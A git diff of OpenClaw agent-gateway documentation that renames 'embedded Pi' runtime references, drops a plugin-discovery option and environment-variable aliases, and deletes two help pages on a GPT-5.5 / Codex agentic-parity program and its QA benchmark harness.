aborts the current attempt before submitting the prompt and reuses the existing precheck recovery path to truncate tool results or compact and retry. Works with both `default` and `safeguard` compaction modes. Default: disabled. +- `midTurnPrecheck`: optional tool-loop pressure check. When `enabled: true`, OpenClaw checks context pressure after tool results are appended and before the next model call. If the context no longer fits, it aborts the current attempt before submitting the prompt and reuses the existing precheck recovery path to truncate tool results or compact and retry. Works with both `default` and `safeguard` compaction modes. Default: disabled. - `postCompactionSections`: optional AGENTS.md H2/H3 section names to re-inject after compaction. Reinjection is disabled when unset or set to `[]`. Explicitly setting `["Session Startup", "Red Lines"]` enables that pair and preserves the legacy `Every Session`/`Safety` fallback. Enable this only when the extra context is worth the risk of duplicating project guidance already captured in the compaction summary. - `model`: optional `provider/model-id` override for compaction summarization only. Use this when the main session should keep one model but compaction summaries should run on another; when unset, compaction uses the session's primary model. - `maxActiveTranscriptBytes`: optional byte threshold (`number` or strings like `"20mb"`) that triggers normal local compaction before a run when the active JSONL grows past the threshold. Requires `truncateAfterCompaction` so successful compaction can rotate to a smaller successor transcript. Disabled when unset or `0`. @@ -688,7 +689,7 @@ Periodic heartbeat runs. ### `agents.defaults.runRetries` -Outer run loop retry iteration boundaries for the embedded Pi runner to prevent infinite execution loops during failure recovery. Note that this setting currently only applies to the embedded agent runtime, not ACP or CLI runtimes. +Outer run loop retry iteration boundaries for the embedded agent runtime to prevent infinite execution loops during failure recovery. Note that this setting currently only applies to the embedded agent runtime, not ACP or CLI runtimes. ```json5 { diff --git a/docs/gateway/config-tools.md b/docs/gateway/config-tools.md index fcb9ac58489..660b6ad1d15 100644 --- a/docs/gateway/config-tools.md +++ b/docs/gateway/config-tools.md @@ -413,7 +413,7 @@ Experimental built-in tool flags. Default off unless a strict-agentic GPT-5 auto ``` - `planTool`: enables the structured `update_plan` tool for non-trivial multi-step work tracking. -- Default: `false` unless `agents.defaults.embeddedPi.executionContract` (or a per-agent override) is set to `"strict-agentic"` for an OpenAI or OpenAI Codex GPT-5-family run. Set `true` to force the tool on outside that scope, or `false` to keep it off even for strict-agentic GPT-5 runs. +- Default: `false` unless `agents.defaults.embeddedAgent.executionContract` (or a per-agent override) is set to `"strict-agentic"` for an OpenAI or OpenAI Codex GPT-5-family run. Set `true` to force the tool on outside that scope, or `false` to keep it off even for strict-agentic GPT-5 runs. - When enabled, the system prompt also adds usage guidance so the model only uses it for substantial work and keeps at most one step `in_progress`. ### `agents.defaults.subagents` @@ -445,7 +445,7 @@ Experimental built-in tool flags. Default off unless a strict-agentic GPT-5 auto ## Custom providers and base URLs -OpenClaw uses the built-in model catalog. Add custom providers via `models.providers` in config or `~/.openclaw/agents//agent/models.json`. +Provider plugins publish their own model catalog rows. Add custom providers via `models.providers` in config or `~/.openclaw/agents//agent/models.json`. Configuring a custom/local provider `baseUrl` is also the narrow network trust decision for model HTTP requests: OpenClaw allows that exact `scheme://host:port` origin through the guarded fetch path, without adding a separate config option or trusting other private origins. @@ -479,7 +479,7 @@ Configuring a custom/local provider `baseUrl` is also the narrow network trust d - Use `authHeader: true` + `headers` for custom auth needs. - - Override agent config root with `OPENCLAW_AGENT_DIR` (or `PI_CODING_AGENT_DIR`, a legacy environment variable alias). + - Override agent config root with `OPENCLAW_AGENT_DIR`. - Merge precedence for matching provider IDs: - Non-empty agent `models.json` `baseUrl` values win. - Non-empty agent `apiKey` values win only when that provider is not SecretRef-managed in current config/auth-profile context. @@ -753,7 +753,7 @@ Interactive custom-provider onboarding infers image input for common vision mode } ``` - Set `ZAI_API_KEY`. `z.ai/*` and `z-ai/*` are accepted aliases. Shortcut: `openclaw onboard --auth-choice zai-api-key`. + Set `ZAI_API_KEY`. Model refs use the canonical `zai/*` provider ID. Shortcut: `openclaw onboard --auth-choice zai-api-key`. - General endpoint: `https://api.z.ai/api/paas/v4` - Coding endpoint (default): `https://api.z.ai/api/coding/paas/v4` diff --git a/docs/gateway/configuration-reference.md b/docs/gateway/configuration-reference.md index 627b5d3ef7d..cae9e750687 100644 --- a/docs/gateway/configuration-reference.md +++ b/docs/gateway/configuration-reference.md @@ -89,7 +89,7 @@ The `models` root also owns global model-catalog behavior. ## MCP OpenClaw-managed MCP server definitions live under `mcp.servers` and are -consumed by embedded Pi and other runtime adapters. The `openclaw mcp list`, +consumed by embedded OpenClaw and other runtime adapters. The `openclaw mcp list`, `show`, `set`, and `unset` commands manage this block without connecting to the target server during config edits. @@ -197,7 +197,6 @@ See [MCP](/cli/mcp#openclaw-as-an-mcp-client-registry) and plugins: { enabled: true, allow: ["voice-call"], - bundledDiscovery: "allowlist", deny: [], load: { paths: ["~/Projects/oss/voice-call-plugin"], @@ -219,10 +218,6 @@ See [MCP](/cli/mcp#openclaw-as-an-mcp-client-registry) and - Discovery accepts native OpenClaw plugins plus compatible Codex bundles and Claude bundles, including manifestless Claude default-layout bundles. - **Config changes require a gateway restart.** - `allow`: optional allowlist (only listed plugins load). `deny` wins. -- `bundledDiscovery`: defaults to `"allowlist"` for new configs, so a non-empty - `plugins.allow` also gates bundled provider plugins, including web-search - runtime providers. Doctor writes `"compat"` for migrated legacy allowlist - configs to preserve existing bundled provider behavior until you opt in. - `plugins.entries..apiKey`: plugin-level API key convenience field (when supported by the plugin). - `plugins.entries..env`: plugin-scoped env var map. - `plugins.entries..hooks.allowPromptInjection`: when `false`, core blocks `before_prompt_build` and ignores prompt-mutating fields from legacy `before_agent_start`, while preserving legacy `modelOverride` and `providerOverride`. Applies to native plugin hooks and supported bundle-provided hook directories. @@ -243,7 +238,7 @@ The bundled `codex` plugin owns native Codex app-server harness settings under surface and [Codex harness](/plugins/codex-harness) for the runtime model. `codexPlugins` applies only to sessions that select the native Codex harness. -It does not enable Codex plugins for Pi, normal OpenAI provider runs, ACP +It does not enable Codex plugins for OpenClaw provider runs, ACP conversation bindings, or any non-Codex harness. ```json5 @@ -319,7 +314,7 @@ restart after changing native plugin config. - `memory.citations` - `memory.qmd.*` - `plugins.entries.memory-core.config.dreaming` -- Enabled Claude bundle plugins can also contribute embedded Pi defaults from `settings.json`; OpenClaw applies those as sanitized agent settings, not as raw OpenClaw config patches. +- Enabled Claude bundle plugins can also contribute embedded OpenClaw defaults from `settings.json`; OpenClaw applies those as sanitized agent settings, not as raw OpenClaw config patches. - `plugins.slots.memory`: pick the active memory plugin id, or `"none"` to disable memory plugins. - `plugins.slots.contextEngine`: pick the active context engine plugin id; defaults to `"legacy"` unless you install and select another engine. diff --git a/docs/gateway/doctor.md b/docs/gateway/doctor.md index e5555f992cb..43b5a80d74e 100644 --- a/docs/gateway/doctor.md +++ b/docs/gateway/doctor.md @@ -234,9 +234,7 @@ That stages grounded durable candidates into the short-term dreaming store while Doctor also warns when `plugins.allow` is non-empty and tool policy uses wildcard or plugin-owned tool entries. `tools.allow: ["*"]` only matches tools from plugins that actually load; it does not bypass the exclusive plugin - allowlist. Doctor writes `plugins.bundledDiscovery: "compat"` for migrated - legacy allowlist configs to preserve existing bundled provider behavior, and - then points to the stricter `"allowlist"` setting. + allowlist. @@ -293,7 +291,7 @@ That stages grounded durable candidates into the short-term dreaming store while - If you've added `models.providers.opencode`, `opencode-zen`, or `opencode-go` manually, it overrides the built-in OpenCode catalog from `@earendil-works/pi-ai`. That can force models onto the wrong API or zero out costs. Doctor warns so you can remove the override and restore per-model API routing + costs. + If you've added `models.providers.opencode`, `opencode-zen`, or `opencode-go` manually, it overrides the built-in OpenCode catalog from `openclaw/plugin-sdk/llm`. That can force models onto the wrong API or zero out costs. Doctor warns so you can remove the override and restore per-model API routing + costs. If your browser config still points at the removed Chrome extension path, doctor normalizes it to the current host-local Chrome MCP attach model: @@ -326,7 +324,7 @@ That stages grounded durable candidates into the short-term dreaming store while If you previously added legacy OpenAI transport settings under `models.providers.openai-codex`, they can shadow the built-in Codex OAuth provider path that newer releases use automatically. Doctor warns when it sees those old transport settings alongside Codex OAuth so you can remove or rewrite the stale transport override and get the built-in routing/fallback behavior back. Custom proxies and header-only overrides are still supported and do not trigger this warning. - Doctor checks for legacy `openai-codex/*` model refs. Native Codex harness routing uses canonical `openai/*` model refs; OpenAI agent turns go through the Codex app-server harness instead of the OpenClaw PI OpenAI path. + Doctor checks for legacy `openai-codex/*` model refs. Native Codex harness routing uses canonical `openai/*` model refs; OpenAI agent turns go through the Codex app-server harness instead of the OpenClaw OpenAI provider path. In `--fix` / `--repair` mode, doctor rewrites affected default-agent and per-agent refs, including primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale persisted session route state: diff --git a/docs/help/debugging.md b/docs/help/debugging.md index c3e110a07d1..1929b08c858 100644 --- a/docs/help/debugging.md +++ b/docs/help/debugging.md @@ -278,27 +278,24 @@ Default file: `~/.openclaw/logs/raw-stream.jsonl` -## Raw chunk logging (pi-mono) +## Raw OpenAI-compatible chunk logging To capture **raw OpenAI-compat chunks** before they are parsed into blocks, -pi-mono exposes a separate logger: +enable the transport logger: ```bash -PI_RAW_STREAM=1 +OPENCLAW_RAW_STREAM=1 ``` Optional path: ```bash -PI_RAW_STREAM_PATH=~/.pi-mono/logs/raw-openai-completions.jsonl +OPENCLAW_RAW_STREAM_PATH=~/.openclaw/logs/raw-openai-completions.jsonl ``` Default file: -`~/.pi-mono/logs/raw-openai-completions.jsonl` - -> Note: this is only emitted by processes using pi-mono's -> `openai-completions` provider. +`~/.openclaw/logs/raw-openai-completions.jsonl` ## Safety notes diff --git a/docs/help/faq-first-run.md b/docs/help/faq-first-run.md index a6355723dc4..7e15e0779db 100644 --- a/docs/help/faq-first-run.md +++ b/docs/help/faq-first-run.md @@ -162,7 +162,7 @@ and troubleshooting see the main [FAQ](/help/faq). If you want extra headroom (logs, media, other services), **2GB is recommended**, but it's not a hard minimum. - Tip: a small Pi/VPS can host the Gateway, and you can pair **nodes** on your laptop/phone for + Tip: a small Raspberry Pi/VPS can host the Gateway, and you can pair **nodes** on your laptop/phone for local screen/camera/canvas or command execution. See [Nodes](/nodes). @@ -823,7 +823,7 @@ and troubleshooting see the main [FAQ](/help/faq). Not required, but **recommended for reliability and isolation**. - - **Dedicated host (VPS/Mac mini/Pi):** always-on, fewer sleep/reboot interruptions, cleaner permissions, easier to keep running. + - **Dedicated host (VPS/Mac mini/Raspberry Pi):** always-on, fewer sleep/reboot interruptions, cleaner permissions, easier to keep running. - **Shared laptop/desktop:** totally fine for testing and active use, but expect pauses when the machine sleeps or updates. If you want the best of both worlds, keep the Gateway on a dedicated host and pair your laptop as a **node** for local screen/camera/exec tools. See [Nodes](/nodes). diff --git a/docs/help/gpt55-codex-agentic-parity-maintainers.md b/docs/help/gpt55-codex-agentic-parity-maintainers.md deleted file mode 100644 index 2cf69baadc9..00000000000 --- a/docs/help/gpt55-codex-agentic-parity-maintainers.md +++ /dev/null @@ -1,196 +0,0 @@ ---- -summary: "How to review the GPT-5.5 / Codex parity program as four merge units" -title: "GPT-5.5 / Codex parity maintainer notes" -read_when: - - Reviewing the GPT-5.5 / Codex parity PR series - - Maintaining the six-contract agentic architecture behind the parity program ---- - -This note explains how to review the GPT-5.5 / Codex parity program as four merge units without losing the original six-contract architecture. - -## Merge units - -### PR A: strict-agentic execution - -Owns: - -- `executionContract` -- GPT-5-first same-turn follow-through -- `update_plan` as non-terminal progress tracking -- explicit blocked states instead of plan-only silent stops - -Does not own: - -- auth/runtime failure classification -- permission truthfulness -- replay/continuation redesign -- parity benchmarking - -### PR B: runtime truthfulness - -Owns: - -- Codex OAuth scope correctness -- typed provider/runtime failure classification -- truthful `/elevated full` availability and blocked reasons - -Does not own: - -- tool schema normalization -- replay/liveness state -- benchmark gating - -### PR C: execution correctness - -Owns: - -- provider-owned OpenAI/Codex tool compatibility -- parameter-free strict schema handling -- replay-invalid surfacing -- paused, blocked, and abandoned long-task state visibility - -Does not own: - -- self-elected continuation -- generic Codex dialect behavior outside provider hooks -- benchmark gating - -### PR D: parity harness - -Owns: - -- first-wave GPT-5.5 vs Opus 4.7 scenario pack -- parity documentation -- parity report and release-gate mechanics - -Does not own: - -- runtime behavior changes outside QA-lab -- auth/proxy/DNS simulation inside the harness - -## Mapping back to the original six contracts - -| Original contract | Merge unit | -| ---------------------------------------- | ---------- | -| Provider transport/auth correctness | PR B | -| Tool contract/schema compatibility | PR C | -| Same-turn execution | PR A | -| Permission truthfulness | PR B | -| Replay/continuation/liveness correctness | PR C | -| Benchmark/release gate | PR D | - -## Review order - -1. PR A -2. PR B -3. PR C -4. PR D - -PR D is the proof layer. It should not be the reason runtime-correctness PRs are delayed. - -## What to look for - -### PR A - -- GPT-5 runs act or fail closed instead of stopping at commentary -- `update_plan` no longer looks like progress by itself -- behavior stays GPT-5-first and embedded-Pi scoped - -### PR B - -- auth/proxy/runtime failures stop collapsing into generic "model failed" handling -- `/elevated full` is only described as available when it is actually available -- blocked reasons are visible to both the model and the user-facing runtime - -### PR C - -- strict OpenAI/Codex tool registration behaves predictably -- parameter-free tools do not fail strict schema checks -- replay and compaction outcomes preserve truthful liveness state - -### PR D - -- the scenario pack is understandable and reproducible -- the pack includes a mutating replay-safety lane, not only read-only flows -- reports are readable by humans and automation -- parity claims are evidence-backed, not anecdotal - -Expected artifacts from PR D: - -- `qa-suite-report.md` / `qa-suite-summary.json` for each model run -- `qa-agentic-parity-report.md` with aggregate and scenario-level comparison -- `qa-agentic-parity-summary.json` with a machine-readable verdict - -## Release gate - -Do not claim GPT-5.5 parity or superiority over Opus 4.7 until: - -- PR A, PR B, and PR C are merged -- PR D runs the first-wave parity pack cleanly -- runtime-truthfulness regression suites remain green -- the parity report shows no fake-success cases and no regression in stop behavior - -```mermaid -flowchart LR - A["PR A-C merged"] --> B["Run GPT-5.5 parity pack"] - A --> C["Run Opus 4.7 parity pack"] - B --> D["qa-suite-summary.json"] - C --> E["qa-suite-summary.json"] - D --> F["qa parity-report"] - E --> F - F --> G["Markdown report + JSON verdict"] - G --> H{"Pass?"} - H -- "yes" --> I["Parity claim allowed"] - H -- "no" --> J["Keep runtime fixes / review loop open"] -``` - -The parity harness is not the only evidence source. Keep this split explicit in review: - -- PR D owns the scenario-based GPT-5.5 vs Opus 4.7 comparison -- PR B deterministic suites still own auth/proxy/DNS and full-access truthfulness evidence - -## Quick maintainer merge workflow - -Use this when you are ready to land a parity PR and want a repeatable, low-risk sequence. - -1. Confirm evidence bar is met before merge: - - reproducible symptom or failing test - - verified root cause in touched code - - fix in the implicated path - - regression test or explicit manual verification note -2. Triage/label before merge: - - apply any `r:*` auto-close labels when the PR should not land - - keep merge candidates free of unresolved blocker threads -3. Validate locally on the touched surface: - - `pnpm check:changed` - - `pnpm test:changed` when tests changed or bug-fix confidence depends on test coverage -4. Land with the standard maintainer flow (`/landpr` process), then verify: - - linked issues auto-close behavior - - CI and post-merge status on `main` -5. After landing, run duplicate search for related open PRs/issues and close only with a canonical reference. - -If any one of the evidence bar items is missing, request changes instead of merging. - -## Goal-to-evidence map - -| Completion gate item | Primary owner | Review artifact | -| ---------------------------------------- | ------------- | ------------------------------------------------------------------- | -| No plan-only stalls | PR A | strict-agentic runtime tests and `approval-turn-tool-followthrough` | -| No fake progress or fake tool completion | PR A + PR D | parity fake-success count plus scenario-level report details | -| No false `/elevated full` guidance | PR B | deterministic runtime-truthfulness suites | -| Replay/liveness failures remain explicit | PR C + PR D | lifecycle/replay suites plus `compaction-retry-mutating-tool` | -| GPT-5.5 matches or beats Opus 4.7 | PR D | `qa-agentic-parity-report.md` and `qa-agentic-parity-summary.json` | - -## Reviewer shorthand: before vs after - -| User-visible problem before | Review signal after | -| ----------------------------------------------------------- | --------------------------------------------------------------------------------------- | -| GPT-5.5 stopped after planning | PR A shows act-or-block behavior instead of commentary-only completion | -| Tool use felt brittle with strict OpenAI/Codex schemas | PR C keeps tool registration and parameter-free invocation predictable | -| `/elevated full` hints were sometimes misleading | PR B ties guidance to actual runtime capability and blocked reasons | -| Long tasks could disappear into replay/compaction ambiguity | PR C emits explicit paused, blocked, abandoned, and replay-invalid state | -| Parity claims were anecdotal | PR D produces a report plus JSON verdict with the same scenario coverage on both models | - -## Related - -- [GPT-5.5 / Codex agentic parity](/help/gpt55-codex-agentic-parity) diff --git a/docs/help/gpt55-codex-agentic-parity.md b/docs/help/gpt55-codex-agentic-parity.md deleted file mode 100644 index dd9ed85dfa0..00000000000 --- a/docs/help/gpt55-codex-agentic-parity.md +++ /dev/null @@ -1,230 +0,0 @@ ---- -summary: "How OpenClaw closes agentic execution gaps for GPT-5.5 and Codex-style models" -title: "GPT-5.5 / Codex agentic parity" -read_when: - - Debugging GPT-5.5 or Codex agent behavior - - Comparing OpenClaw agentic behavior across frontier models - - Reviewing the strict-agentic, tool-schema, elevation, and replay fixes ---- - -OpenClaw already worked well with tool-using frontier models, but GPT-5.5 and Codex-style models were still underperforming in a few practical ways: - -- they could stop after planning instead of doing the work -- they could use strict OpenAI/Codex tool schemas incorrectly -- they could ask for `/elevated full` even when full access was impossible -- they could lose long-running task state during replay or compaction -- parity claims against Claude Opus 4.7 were based on anecdotes instead of repeatable scenarios - -This parity program fixes those gaps in four reviewable slices. - -## What changed - -### PR A: strict-agentic execution - -This slice adds an opt-in `strict-agentic` execution contract for embedded Pi GPT-5 runs. - -When enabled, OpenClaw stops accepting plan-only turns as "good enough" completion. If the model only says what it intends to do and does not actually use tools or make progress, OpenClaw retries with an act-now steer and then fails closed with an explicit blocked state instead of silently ending the task. - -This improves the GPT-5.5 experience most on: - -- short "ok do it" follow-ups -- code tasks where the first step is obvious -- flows where `update_plan` should be progress tracking rather than filler text - -### PR B: runtime truthfulness - -This slice makes OpenClaw tell the truth about two things: - -- why the provider/runtime call failed -- whether `/elevated full` is actually available - -That means GPT-5.5 gets better runtime signals for missing scope, auth refresh failures, HTML 403 auth failures, proxy issues, DNS or timeout failures, and blocked full-access modes. The model is less likely to hallucinate the wrong remediation or keep asking for a permission mode the runtime cannot provide. - -### PR C: execution correctness - -This slice improves two kinds of correctness: - -- provider-owned OpenAI/Codex tool-schema compatibility -- replay and long-task liveness surfacing - -The tool-compat work reduces schema friction for strict OpenAI/Codex tool registration, especially around parameter-free tools and strict object-root expectations. The replay/liveness work makes long-running tasks more observable, so paused, blocked, and abandoned states are visible instead of disappearing into generic failure text. - -### PR D: parity harness - -This slice adds the first-wave QA-lab parity pack so GPT-5.5 and Opus 4.7 can be exercised through the same scenarios and compared using shared evidence. - -The parity pack is the proof layer. It does not change runtime behavior by itself. - -After you have two `qa-suite-summary.json` artifacts, generate the release-gate comparison with: - -```bash -pnpm openclaw qa parity-report \ - --repo-root . \ - --candidate-summary .artifacts/qa-e2e/openai-candidate/qa-suite-summary.json \ - --baseline-summary .artifacts/qa-e2e/anthropic-baseline/qa-suite-summary.json \ - --output-dir .artifacts/qa-e2e/parity -``` - -That command writes: - -- a human-readable Markdown report -- a machine-readable JSON verdict -- an explicit `pass` / `fail` gate result - -## Why this improves GPT-5.5 in practice - -Before this work, GPT-5.5 on OpenClaw could feel less agentic than Opus in real coding sessions because the runtime tolerated behaviors that are especially harmful for GPT-5-style models: - -- commentary-only turns -- schema friction around tools -- vague permission feedback -- silent replay or compaction breakage - -The goal is not to make GPT-5.5 imitate Opus. The goal is to give GPT-5.5 a runtime contract that rewards real progress, supplies cleaner tool and permission semantics, and turns failure modes into explicit machine- and human-readable states. - -That changes the user experience from: - -- "the model had a good plan but stopped" - -to: - -- "the model either acted, or OpenClaw surfaced the exact reason it could not" - -## Before vs after for GPT-5.5 users - -| Before this program | After PR A-D | -| ---------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | -| GPT-5.5 could stop after a reasonable plan without taking the next tool step | PR A turns "plan only" into "act now or surface a blocked state" | -| Strict tool schemas could reject parameter-free or OpenAI/Codex-shaped tools in confusing ways | PR C makes provider-owned tool registration and invocation more predictable | -| `/elevated full` guidance could be vague or wrong in blocked runtimes | PR B gives GPT-5.5 and the user truthful runtime and permission hints | -| Replay or compaction failures could feel like the task silently disappeared | PR C surfaces paused, blocked, abandoned, and replay-invalid outcomes explicitly | -| "GPT-5.5 feels worse than Opus" was mostly anecdotal | PR D turns that into the same scenario pack, the same metrics, and a hard pass/fail gate | - -## Architecture - -```mermaid -flowchart TD - A["User request"] --> B["Embedded Pi runtime"] - B --> C["Strict-agentic execution contract"] - B --> D["Provider-owned tool compatibility"] - B --> E["Runtime truthfulness"] - B --> F["Replay and liveness state"] - C --> G["Tool call or explicit blocked state"] - D --> G - E --> G - F --> G - G --> H["QA-lab parity pack"] - H --> I["Scenario report and parity gate"] -``` - -## Release flow - -```mermaid -flowchart LR - A["Merged runtime slices (PR A-C)"] --> B["Run GPT-5.5 parity pack"] - A --> C["Run Opus 4.7 parity pack"] - B --> D["qa-suite-summary.json"] - C --> E["qa-suite-summary.json"] - D --> F["openclaw qa parity-report"] - E --> F - F --> G["qa-agentic-parity-report.md"] - F --> H["qa-agentic-parity-summary.json"] - H --> I{"Gate pass?"} - I -- "yes" --> J["Evidence-backed parity claim"] - I -- "no" --> K["Keep runtime/review loop open"] -``` - -## Scenario pack - -The first-wave parity pack currently covers five scenarios: - -### `approval-turn-tool-followthrough` - -Checks that the model does not stop at "I'll do that" after a short approval. It should take the first concrete action in the same turn. - -### `model-switch-tool-continuity` - -Checks that tool-using work remains coherent across model/runtime switching boundaries instead of resetting into commentary or losing execution context. - -### `source-docs-discovery-report` - -Checks that the model can read source and docs, synthesize findings, and continue the task agentically rather than producing a thin summary and stopping early. - -### `image-understanding-attachment` - -Checks that mixed-mode tasks involving attachments remain actionable and do not collapse into vague narration. - -### `compaction-retry-mutating-tool` - -Checks that a task with a real mutating write keeps replay-unsafety explicit instead of quietly looking replay-safe if the run compacts, retries, or loses reply state under pressure. - -## Scenario matrix - -| Scenario | What it tests | Good GPT-5.5 behavior | Failure signal | -| ---------------------------------- | --------------------------------------- | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------ | -| `approval-turn-tool-followthrough` | Short approval turns after a plan | Starts the first concrete tool action immediately instead of restating intent | plan-only follow-up, no tool activity, or blocked turn without a real blocker | -| `model-switch-tool-continuity` | Runtime/model switching under tool use | Preserves task context and continues acting coherently | resets into commentary, loses tool context, or stops after switch | -| `source-docs-discovery-report` | Source reading + synthesis + action | Finds sources, uses tools, and produces a useful report without stalling | thin summary, missing tool work, or incomplete-turn stop | -| `image-understanding-attachment` | Attachment-driven agentic work | Interprets the attachment, connects it to tools, and continues the task | vague narration, attachment ignored, or no concrete next action | -| `compaction-retry-mutating-tool` | Mutating work under compaction pressure | Performs a real write and keeps replay-unsafety explicit after the side effect | mutating write happens but replay safety is implied, missing, or contradictory | - -## Release gate - -GPT-5.5 can only be considered at parity or better when the merged runtime passes the parity pack and the runtime-truthfulness regressions at the same time. - -Required outcomes: - -- no plan-only stall when the next tool action is clear -- no fake completion without real execution -- no incorrect `/elevated full` guidance -- no silent replay or compaction abandonment -- parity-pack metrics that are at least as strong as the agreed Opus 4.7 baseline - -For the first-wave harness, the gate compares: - -- completion rate -- unintended-stop rate -- valid-tool-call rate -- fake-success count - -Parity evidence is intentionally split across two layers: - -- PR D proves same-scenario GPT-5.5 vs Opus 4.7 behavior with QA-lab -- PR B deterministic suites prove auth, proxy, DNS, and `/elevated full` truthfulness outside the harness - -## Goal-to-evidence matrix - -| Completion gate item | Owning PR | Evidence source | Pass signal | -| -------------------------------------------------------- | ----------- | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------- | -| GPT-5.5 no longer stalls after planning | PR A | `approval-turn-tool-followthrough` plus PR A runtime suites | approval turns trigger real work or an explicit blocked state | -| GPT-5.5 no longer fakes progress or fake tool completion | PR A + PR D | parity report scenario outcomes and fake-success count | no suspicious pass results and no commentary-only completion | -| GPT-5.5 no longer gives false `/elevated full` guidance | PR B | deterministic truthfulness suites | blocked reasons and full-access hints stay runtime-accurate | -| Replay/liveness failures stay explicit | PR C + PR D | PR C lifecycle/replay suites plus `compaction-retry-mutating-tool` | mutating work keeps replay-unsafety explicit instead of silently disappearing | -| GPT-5.5 matches or beats Opus 4.7 on the agreed metrics | PR D | `qa-agentic-parity-report.md` and `qa-agentic-parity-summary.json` | same scenario coverage and no regression on completion, stop behavior, or valid tool use | - -## How to read the parity verdict - -Use the verdict in `qa-agentic-parity-summary.json` as the final machine-readable decision for the first-wave parity pack. - -- `pass` means GPT-5.5 covered the same scenarios as Opus 4.7 and did not regress on the agreed aggregate metrics. -- `fail` means at least one hard gate tripped: weaker completion, worse unintended stops, weaker valid tool use, any fake-success case, or mismatched scenario coverage. -- "shared/base CI issue" is not itself a parity result. If CI noise outside PR D blocks a run, the verdict should wait for a clean merged-runtime execution instead of being inferred from branch-era logs. -- Auth, proxy, DNS, and `/elevated full` truthfulness still come from PR B's deterministic suites, so the final release claim needs both: a passing PR D parity verdict and green PR B truthfulness coverage. - -## Who should enable `strict-agentic` - -Use `strict-agentic` when: - -- the agent is expected to act immediately when a next step is obvious -- GPT-5.5 or Codex-family models are the primary runtime -- you prefer explicit blocked states over "helpful" recap-only replies - -Keep the default contract when: - -- you want the existing looser behavior -- you are not using GPT-5-family models -- you are testing prompts rather than runtime enforcement - -## Related - -- [GPT-5.5 / Codex parity maintainer notes](/help/gpt55-codex-agentic-parity-maintainers) diff --git a/docs/help/testing-live.md b/docs/help/testing-live.md index 7c5fbc31b2f..ea71a1c611c 100644 --- a/docs/help/testing-live.md +++ b/docs/help/testing-live.md @@ -296,7 +296,7 @@ Docker notes: - Optional MCP/tool probe: `OPENCLAW_LIVE_CODEX_HARNESS_MCP_PROBE=1` - Optional Guardian probe: `OPENCLAW_LIVE_CODEX_HARNESS_GUARDIAN_PROBE=1` - The smoke forces provider/model `agentRuntime.id: "codex"` so a broken Codex - harness cannot pass by silently falling back to PI. + harness cannot pass by silently falling back to OpenClaw. - Auth: Codex app-server auth from the local Codex subscription login. Docker smokes can also provide `OPENAI_API_KEY` for non-Codex probes when applicable, plus optional copied `~/.codex/auth.json` and `~/.codex/config.toml`. @@ -329,7 +329,7 @@ Docker notes: `OPENCLAW_LIVE_CODEX_HARNESS_MCP_PROBE=0` or `OPENCLAW_LIVE_CODEX_HARNESS_GUARDIAN_PROBE=0` when you need a narrower debug run. -- Docker uses the same explicit Codex runtime config, so legacy aliases or PI +- Docker uses the same explicit Codex runtime config, so legacy aliases or OpenClaw fallback cannot hide a Codex harness regression. ### Recommended live recipes diff --git a/docs/help/testing.md b/docs/help/testing.md index cdaf9b7ebdd..e2ef872b414 100644 --- a/docs/help/testing.md +++ b/docs/help/testing.md @@ -535,9 +535,9 @@ Native dependency policy: - Add focused helper regressions for pure routing and normalization boundaries. - Keep the embedded runner integration suites healthy: - `src/agents/pi-embedded-runner/compact.hooks.test.ts`, - `src/agents/pi-embedded-runner/run.overflow-compaction.test.ts`, and - `src/agents/pi-embedded-runner/run.overflow-compaction.loop.test.ts`. + `src/agents/embedded-agent-runner/compact.hooks.test.ts`, + `src/agents/embedded-agent-runner/run.overflow-compaction.test.ts`, and + `src/agents/embedded-agent-runner/run.overflow-compaction.loop.test.ts`. - Those suites verify that scoped ids and compaction behavior still flow through the real `run.ts` / `compact.ts` paths; helper-only tests are not a sufficient substitute for those integration paths. @@ -749,7 +749,7 @@ These Docker runners split into two buckets: - `Package Acceptance` is the GitHub-native package gate for "does this installable tarball work as a product?" It resolves one candidate package from `source=npm`, `source=ref`, `source=url`, or `source=artifact`, uploads it as `package-under-test`, then runs the reusable Docker E2E lanes against that exact tarball instead of repacking the selected ref. Profiles are ordered by breadth: `smoke`, `package`, `product`, and `full`. See [Testing updates and plugins](/help/testing-updates-plugins) for the package/update/plugin contract, published-upgrade survivor matrix, release defaults, and failure triage. - Build and release checks run `scripts/check-cli-bootstrap-imports.mjs` after tsdown. The guard walks the static built graph from `dist/entry.js` and `dist/cli/run-main.js` and fails if pre-dispatch startup imports package dependencies such as Commander, prompt UI, undici, or logging before command dispatch; it also keeps the bundled gateway run chunk under budget and rejects static imports of known cold gateway paths. Packaged CLI smoke also covers root help, onboard help, doctor help, status, config schema, and a model-list command. - Package Acceptance legacy compatibility is capped at `2026.4.25` (`2026.4.25-beta.*` included). Through that cutoff, the harness tolerates only shipped-package metadata gaps: omitted private QA inventory entries, missing `gateway install --wrapper`, missing patch files in the tarball-derived git fixture, missing persisted `update.channel`, legacy plugin install-record locations, missing marketplace install-record persistence, and config metadata migration during `plugins update`. For packages after `2026.4.25`, those paths are strict failures. -- Container smoke runners: `test:docker:openwebui`, `test:docker:onboard`, `test:docker:npm-onboard-channel-agent`, `test:docker:release-user-journey`, `test:docker:release-typed-onboarding`, `test:docker:release-media-memory`, `test:docker:release-upgrade-user-journey`, `test:docker:release-plugin-marketplace`, `test:docker:skill-install`, `test:docker:update-channel-switch`, `test:docker:upgrade-survivor`, `test:docker:published-upgrade-survivor`, `test:docker:session-runtime-context`, `test:docker:agents-delete-shared-workspace`, `test:docker:gateway-network`, `test:docker:browser-cdp-snapshot`, `test:docker:mcp-channels`, `test:docker:pi-bundle-mcp-tools`, `test:docker:cron-mcp-cleanup`, `test:docker:plugins`, `test:docker:plugin-update`, `test:docker:plugin-lifecycle-matrix`, and `test:docker:config-reload` boot one or more real containers and verify higher-level integration paths. +- Container smoke runners: `test:docker:openwebui`, `test:docker:onboard`, `test:docker:npm-onboard-channel-agent`, `test:docker:release-user-journey`, `test:docker:release-typed-onboarding`, `test:docker:release-media-memory`, `test:docker:release-upgrade-user-journey`, `test:docker:release-plugin-marketplace`, `test:docker:skill-install`, `test:docker:update-channel-switch`, `test:docker:upgrade-survivor`, `test:docker:published-upgrade-survivor`, `test:docker:session-runtime-context`, `test:docker:agents-delete-shared-workspace`, `test:docker:gateway-network`, `test:docker:browser-cdp-snapshot`, 